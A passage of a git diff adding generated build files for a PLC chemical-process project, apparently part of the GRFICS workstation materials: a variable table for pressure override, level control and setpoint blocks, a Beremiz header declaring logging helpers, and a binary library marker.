+233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st 